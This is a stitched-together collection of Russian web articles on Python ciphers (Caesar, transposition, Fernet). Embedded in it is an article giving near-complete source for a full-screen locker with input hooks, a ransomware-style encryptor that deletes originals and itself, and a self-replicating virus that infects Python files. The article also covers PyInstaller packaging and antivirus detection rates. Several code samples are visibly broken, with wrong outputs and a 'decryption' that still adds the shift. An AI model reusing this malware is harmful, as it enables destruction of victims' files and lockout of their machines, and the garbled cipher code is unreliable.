Как написать дешифратор на питоне

Время на прочтение
5 мин

Количество просмотров 78K

Немного о проекте

Мне, лично, давно была интересна тема шифрования информации, однако, каждый раз погрузившись в эту тему, я осознавал насколько это сложно и понял, что лучше начать с чего-то более простого. Я, лично, планирую написать некоторое количество статей на эту тему, в которых я покажу вам различные алгоритмы шифрования и их реализацию в Python, продемонстрирую и разберу свой проект, созданный в этом направлении. Итак, начнем.

---

Для начала, я бы хотел рассказать вам какие уже известные алгоритмы мы рассмотрим, в моих статьях. Список вам представлен ниже:

• Шифр Цезаря

• Шифр Виженера

• Шифр замены

• Омофонический шифр

• RSA шифрование

Шифр Цезаря

Итак, после небольшого введения в цикл, я предлагаю все-таки перейти к основной теме сегодняшней статьи, а именно к Шифру Цезаря.

Что это такое?

Шифр Цезаря — это простой тип подстановочного шифра, где каждая буква обычного текста заменяется буквой с фиксированным числом позиций вниз по алфавиту. Принцип его действия можно увидеть в следующей иллюстрации:

Какими особенностями он обладает?

У Шифра Цезаря, как у алгоритма шифрования, я могу выделить две основные особенности. Первая особенность — это простота и доступность метода шифрования, который, возможно поможет вам погрузится в эту тему, вторая особенность — это, собственно говоря, сам метод шифрования.

Программная реализация

В интернете существует огромное множество уроков, связанных с криптографией в питоне, однако, я написал максимально простой и интуитивно понятный код, структуру которого я вам продемонстрирую.

Начнем, пожалуй, с создания алфавита. Для этого вы можете скопировать приведенную ниже строку или написать все руками.

alfavit =  'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'
# Создаем алфавит

Далее, нам нужно обозначить программе шаг, то есть смещение при шифровании. Так, например, если мы напишем букву «а» в сообщении, тот при шаге «2», программа выведет нам букву «в».

Итак, создаем переменную smeshenie, которая будет вручную задаваться пользователем, и message, куда будет помещаться наше сообщение, и, с помощью метода upper(), возводим все символы в нашем сообщении в верхний регистр, чтобы у нас не было ошибок. Потом создаем просто пустую переменную itog, куда мы буем выводить зашифрованное сообщение. Для этого пишем следующее:

smeshenie = int(input('Шаг шифровки: '))    #Создаем переменную с шагом шифровки
message = input("Сообщение для шифровки: ").upper()    #создаем переменнную, куда запишем наше сообщение
itog = ''    #создаем переменную для вывода итогового сообщения

Итак, теперь переходим к самому алгоритму шифровки. Первым делом создаем циклfor, где мы определим место букв, задействованных в сообщении, в нашем списке alfavit, после чего определяем их новые места (далее я постараюсь насытить код с пояснениями):

for i in message:
    mesto = alfavit.find(i)    #Вычисляем места символов в списке
    new_mesto = mesto + smeshenie    #Сдвигаем символы на указанный в переменной smeshenie шаг

Далее, мы создаем внутри нашего цикла условие if , в нем мы записываем в список itog мы записываем наше сообщение уже в зашифрованном виде и выводим его:

for i in message:
    mesto = alfavit.find(i)
    new_mesto = mesto + smeshenie
    if i in alfavit:
        itog += alfavit[new_mesto]  # Задаем значения в итог
    else:
        itog += i
print (itog)

Модернизация

Вот мы и написали программу, однако она имеет очень большой недостаток: «При использовании последних букв(русских), программа выведет вам английские буквы. Давайте это исправим.

Для начала создадим переменную lang, в которой будем задавать язык нашего шифра, а так же разделим английский и русский алфавиты.

alfavit_EU =  'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ'
alfavit_RU = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'
smeshenie = int(input('Шаг шифровки: '))
message = input("Сообщение для шифровки: ").upper()
itog = ''
lang = input('Выберите язык RU/EU: ')   #Добавляем возможность выбора языка

Теперь нам надо создать условие, которое проверит выбранный язык и применит его, то есть обратится к нужному нам алфавиту. Для этого пишем само условие и добавляем алгоритм шифрования, с помощью которого будет выполнено шифрование:

if lang == 'RU':
    for i in message:
        mesto = alfavit_RU.find(i)   # Алгоритм для шифрования сообщения на русском 
        new_mesto = mesto + smeshenie
        if i in alfavit_RU:
            itog += alfavit_RU[new_mesto]
        else:
            itog += i
else:
    for i in message:
        mesto = alfavit_EU.find(i)		# Алгоритм для шифрования сообщения на английском 
        new_mesto = mesto + smeshenie
        if i in alfavit_EU:
            itog += alfavit_EU[new_mesto]
        else:
            itog += i

Дешифровка сообщения

Возможно это прозвучит несколько смешно, но мы смогли только зашифровать сообщение, а насчет его дешифровки мы особо не задумывались, но теперь дело дошло и до неё.

По сути, дешифровка — это алгоритм обратный шифровке. Давайте немного переделаем наш код (итоговый вид вы можете увидеть выше).

Для начала, я предлагаю сделать «косметическую» часть нашей переделки. Для этого перемещаемся в самое начало кода:

alfavit =  'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'
smeshenie = int(input('Шаг шифровки: '))
message = input("Сообщение для ДЕшифровки: ").upper()    #заменяем слово шифровка, на дешифровка
itog = ''

Остальное можно оставить так же, но если у вас есть желание, то можете поменять названия переменных.

По большому счету, самые ‘большие’ изменения у нас произойдут в той части кода, где у нас находится алгоритм, где нам нужно просто поменять знак «+» на знак «-«. Итак, переходим к самому циклу:

if lang == 'RU':
    for i in message:
        mesto = alfavit_RU.find(i)    
        new_mesto = mesto + smeshenie    # Меняем знак + на знак -
        if i in alfavit_RU:
            itog += alfavit_RU[new_mesto]
        else:
            itog += i
else:
    for i in message:
        mesto = alfavit_EU.find(i)		 # Меняем знак + на знак - 
        new_mesto = mesto + smeshenie
        if i in alfavit_EU:
            itog += alfavit_EU[new_mesto]
        else:
            itog += i

Итоговый вид программы

Итак, вот мы и написали простейшую программу для шифрования методом Цезаря. Ниже я размещу общий вид программы без моих комментариев, чтобы вы еще раз смогли сравнить свою программу с моей:

alfavit_EU =  'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ'
alfavit_RU = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'
smeshenie = int(input('Шаг шифровки: '))
message = input("Сообщение для ДЕшифровки: ").upper()
itog = ''
lang = input('Выберите язык RU/EU: ')
if lang == 'RU':
    for i in message:
        mesto = alfavit_RU.find(i)
        new_mesto = mesto + smeshenie
        if i in alfavit_RU:
            itog += alfavit_RU[new_mesto]
        else:
            itog += i
else:
    for i in message:
        mesto = alfavit_EU.find(i)
        new_mesto = mesto + smeshenie
        if i in alfavit_EU:
            itog += alfavit_EU[new_mesto]
        else:
            itog += i
print (itog)

Итог

Вы успешно написали алгоритм шифровки и дешифровки сообщения на Python с помощью метода Цезаря. В следующей статье мы с вами рассмотрим Шифр Виженера, а также разберем его реализацию на Python, а пока я предлагаю вам написать в комментариях варианты модернизации программы(код или просо предложения и пожелания). Я обязательно учту ваше мнение.

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°）╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():
    # Кликаем в центр экрана
    click(width/2, height/2)
    # Перемещаем курсор мыши в центр экрана
    moveTo(width/2, height/2)
    # Включаем полноэкранный режим
    root.attributes("-fullscreen", True)
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Включаем постоянное обновление окна
    root.update()
    # Добавляем сочетание клавиш, которые будут закрывать программу
    root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os
import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если это файл, шифруем его
        if os.path.isfile(path):
            crypt(path)
        # Если это папка, рекурсивно повторяем
        else:
            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os
import sys

# Функция расшифровки
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Обход каталогов
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
    print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если нашли файл, проверяем его расширение
        if os.path.isfile(path):
            # Если расширение — py, вызываем virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # Если это каталог, заходим в него
            walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START #
# STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
    begin = "# START #n"
    end = "# STOP #n"
    # Читаем атакуемый файл, назовем его copy
    with open(sys.argv[0], "r") as copy:
        # Создаем флаг
        k = 0
        # Создаем переменную для кода вируса и добавляем пустую строку
        virus_code = "n"
        # Построчно проходим заражаемый файл
        for line in copy:
            # Если находим маркер начала, поднимаем флаг
            if line == begin:
                k = 1
                # Добавляем маркер в зараженный код
                virus_code += begin
            # Если мы прошли начало, но не дошли до конца, копируем строку
            elif k == 1 and line != end:
                virus_code += line
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Снова читаем заражаемый файл
    with open(python, "r") as file:
        # Создаем переменную для исходного кода
        original_code = ""
        # Построчно копируем заражаемый код
        for line in file:
            original_code += line
            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
            if line == begin:
                vir = True
                break
            # Если маркера нет, опускаем флаг vir
            else:
                vir = False
    # Если флаг vir опущен, пишем в файл вирус и исходный код
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "nn" + original_code)
    else:
        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

• файл Crypt.exe не понравился 12 антивирусам из 72;
• файл Locker.exe — 10 антивирусам из 72;
• файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Источник

Шифрование — это процесс кодирования информации, позволяющий только авторизованным сторонам получить к ней доступ.

Хотим поделиться с вами, как можно шифровать файлы, используя Python с помощью библиотеки cryptography, построенной на основе алгоритма AES. Возможно кому-то, также как и нам, такой способ покажется более простым для шифрования файла с данными.

В данном примере используется симметричное шифрование. Тот же ключ, который применяется для шифрования данных, можно использовать для их дешифрования.

Итак, установим библиотеку cryptography:

Открываем новый файл Python:

Создаем ключ и сохраняем его в файл, например, crypto.key:

Внимание! Сгенерированный ключ crypto.key необходимо хранить в надежном месте. В случае его потери невозможно будет расшифровывать данные, которые были зашифрованы этим ключом.

Этот ключ уникален, и нет необходимости генерировать ключ каждый раз, когда потребуется зашифровать что-либо.

Создадим функцию для загрузки этого ключа:

Далее понадобится создать функцию для шифрования файла:

После инициализации объекта Fernet с заданным ключом прочитаем этот файл:

После этого, зашифровываем данные:

Запишем зашифрованный файл с тем же именем, чтобы он переопределил оригинал:

Теперь создадим функцию расшифровки файла:

И, наконец, проверим это на конкретном файле, разместив шифруемый файл и ключ в текущем каталоге.

Например, для шифрования файла с именем ‘report.csv’вызываем созданную функцию encrypt():

После шифрования будет видно, что размер файла ‘report.csv’увеличился, и мы не сможем прочитать содержимое этого файл.

Чтобы вернуть файл ‘report.csv’в исходную форму, вызовем функцию decrypt ():

Получаем исходный файл ‘report.csv’вместо ранее зашифрованного.

Обратите внимание на то, что при применении данного кода, размер файла не должен превышать объем оперативной памяти.

Применение этого несложного кода Python даст возможность надежно защитить данные от несанкционированного доступа к ним и соблюсти требования кибербезопасности при работе с критически важной информацией. При этом установки какого-либо специального программного обеспечения не требуется.

from string import ascii_lowercase as alphabet

class CaesarCypher:
    alpha_len = len(alphabet)
    min_guess_rate = 0.2

Encryption and decryption is a same stuff. when you want to decrypt for example with shift 10 that means that you can encrypt it with shift 26 — 10. In this case cycle will repeat at if you going to shift whole alphabet it will be the same. Also here i’ve proceed upper case and non chars

    def __call__(self, text, offset, encrypt=True):
        if not encrypt:
            offset = self.alpha_len - offset
        result = []
        for letter in text:
            if not letter.isalpha():
                result.append(letter)
                continue
            letter_to_process = letter.lower()
            processed_letter = self._encrypt_letter(letter_to_process, offset)
            if letter.isupper():
                processed_letter = processed_letter.upper()
            result.append(processed_letter)
        return ''.join(result)

all encryption goes here at most.

    def _encrypt_letter(self, letter, offset=0):
        position = (alphabet.find(letter) + offset) % self.alpha_len
        return alphabet[position]

this part is for broot force and guess throug dictionary frequency.

    @staticmethod
    def __how_many_do_i_know(text):
        clean_words = filter(lambda x: x.isalpha(), text.split())
        clean_words = [''{}''.format(x) for x in clean_words]
        cursor = conn.cursor()
        query = 'SELECT COUNT(*) FROM mydictionary WHERE word IN ({})'.format(",".join(clean_words))
        cursor.execute(query)
        response = cursor.fetchone()[0]
        return response / len(clean_words)

    def guess_encode(self, text):
        options = [self(text, offset, encrypt=False) for offset in range(self.alpha_len)]
        best_option = [self.__how_many_do_i_know(option) for option in options]
        best_key, guess_rate = max(enumerate(best_option), key=lambda x: x[-1])
        guess_text = options[best_key]
        return best_key, guess_rate, guess_text

В этом руководстве мы рассмотрим один из методов шифрования в Python, называемый Caesar Cipher. Это часть криптографии.

Вступление

В этом методе каждый символ заменяется буквой с определенной фиксированной числовой позицией, которая находится после или перед буквой. Например, буква B заменяется на стоящую двумя позициями дальше D. D становится F и так далее. Этот метод назван в честь Юлия Цезаря, который использовал его для общения с официальными лицами.

Для реализации шифра Цезаря в Python используется алгоритм. Давайте в нем разберемся.

Особенность алгоритма шифрования Цезаря

Этот алгоритм состоит из нескольких функций, которые приведены ниже.

• Метод довольно прост в применении.
• Каждый текст заменяется фиксированным номером позиции вниз или вверх по алфавиту.
• Это простой тип заменяющего шифра.

Для определения каждой последней части текста, который был перемещен вниз, требуется целочисленное значение. Это целочисленное значение также известно как сдвиг.

Мы можем представить эту концепцию с помощью модульной арифметики, сначала преобразовав букву в числа в соответствии со схемой: A = 0, B = 1, C = 2, D = 3 …… .. Z = 25.

Следующая математическая формула может использоваться для сдвига буквы n.

Как расшифровать?

Расшифровка такая же, как и шифрование. Мы можем создать функцию, которая выполнит сдвиг по противоположному пути, чтобы расшифровать исходный текст. Однако мы можем использовать циклическое свойство шифра под модулем.

Cipher(n) = De-cipher(26-n)

Эту же функцию можно использовать для расшифровки. Вместо этого мы изменим значение сдвига так, чтобы сдвиг = 26 – сдвиг.

Давайте разберемся в следующем примере –

 
def encypt_func(txt, s): 
    result = "" 
 
 
# transverse the plain txt 
    for i in range(len(txt)): 
        char = txt[i] 
        # encypt_func uppercase characters in plain txt 
 
        if(char.isupper()): 
            result += chr((ord(char) + s - 64) % 26 + 65) 
        # encypt_func lowercase characters in plain txt 
        else: 
            result += chr((ord(char) + s - 96) % 26 + 97) 
    return result 
# check the above function 
txt = "CEASER CIPHER EXAMPLE" 
s = 4 
 
print("Plain txt : " + txt) 
print("Shift pattern : " + str(s)) 
print("Cipher: " + encypt_func(txt, s)) 

Выход:

Plain txt : CEASER CIPHER EXAMPLE 
Shift pattern : 4 
Cipher: HJFXJWsHNUMJWsJCFRUQJ 

Приведенный выше код проходил символ за раз. Он передавал каждый символ по правилу в зависимости от процедуры шифрования и дешифрования текста.

Мы определили несколько конкретных наборов позиций, которые генерируют зашифрованный текст.

Нарушение алгоритма шифрования Цезаря

Взломать зашифрованный текст можно разными способами. Один из способов – это метод грубой силы, который включает в себя проверку всех возможных ключей дешифрования. Этот прием не такой сложный и не требует больших усилий.

Пример –

 
msg = 'rGMTLIVrHIQSGIEWIVGIEWIV' #encrypted msg 
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 
 
for k in range(len(LETTERS)): 
   transformation = '' 
   for s in msg: 
      if s in LETTERS: 
         n = LETTERS.find(s) 
         n = n - k 
         if n < 0: 
            n = n + len(LETTERS) 
         transformation = transformation + LETTERS[n] 
 
      else: 
         transformation = transformation + s 
print('Hacking k #%s: %s' %(k, transformation)) 

Выход:

Hacking k #25: rHNUMJWrIJRTHJFXJWHJFXJW 

Транспонирующий шифр

Алгоритм шифрования транспонирования – это метод, при котором алфавитный порядок в открытом тексте перестраивается для формирования зашифрованного текста. Этот алгоритм не поддерживает настоящие текстовые алфавиты.

Давайте разберемся с этим алгоритмом на примере.

Мы возьмем простой пример под названием столбчатый шифр транспозиции, в котором мы пишем каждый символ текста по горизонтали с указанной шириной алфавита. Вертикально написанные тексты являются зашифрованными, что создает совершенно непохожий на зашифрованный текст.

Давайте возьмем простой текст и применим технику простого столбчатого транспонирования, как показано ниже.

Мы разместили простой текст по горизонтали, и зашифрованный текст создается с вертикальным форматом: hotnejpt.lao.lvi. Чтобы расшифровать это, получатель должен использовать ту же таблицу для расшифровки  текста.

Код –

 
def split_len(sequence, length): 
   return [sequence[i:i + length] for i in range(0, len(sequence), length)] 
def encode(k, plaintxt): 
   order = { 
      int(val): n for n, val in enumerate(k) 
   } 
ciphertext = '' 
 
for index in sorted(order.ks()): 
   for part in split_len(plaintxt, len(k)): 
      try:ciphertext += part[order[index]] 
    except IndexError: 
            continue 
   return ciphertext 
print(encode('3214', 'HELLO')) 

Объяснение –

В приведенном выше коде мы создали функцию с именем split_len(), которая выдавала текстовый символ, размещенный в формате столбцов или строк.

Метод encode() создал зашифрованный текст с ключом, определяющим количество столбцов, и мы распечатали каждый зашифрованный текст, прочитав каждый столбец.

Примечание. Техника транспонирования призвана значительно улучшить криптобезопасность. Криптоаналитики замечают, что повторное шифрование зашифрованного текста с использованием того же шифра транспозиции показывает лучшую безопасность.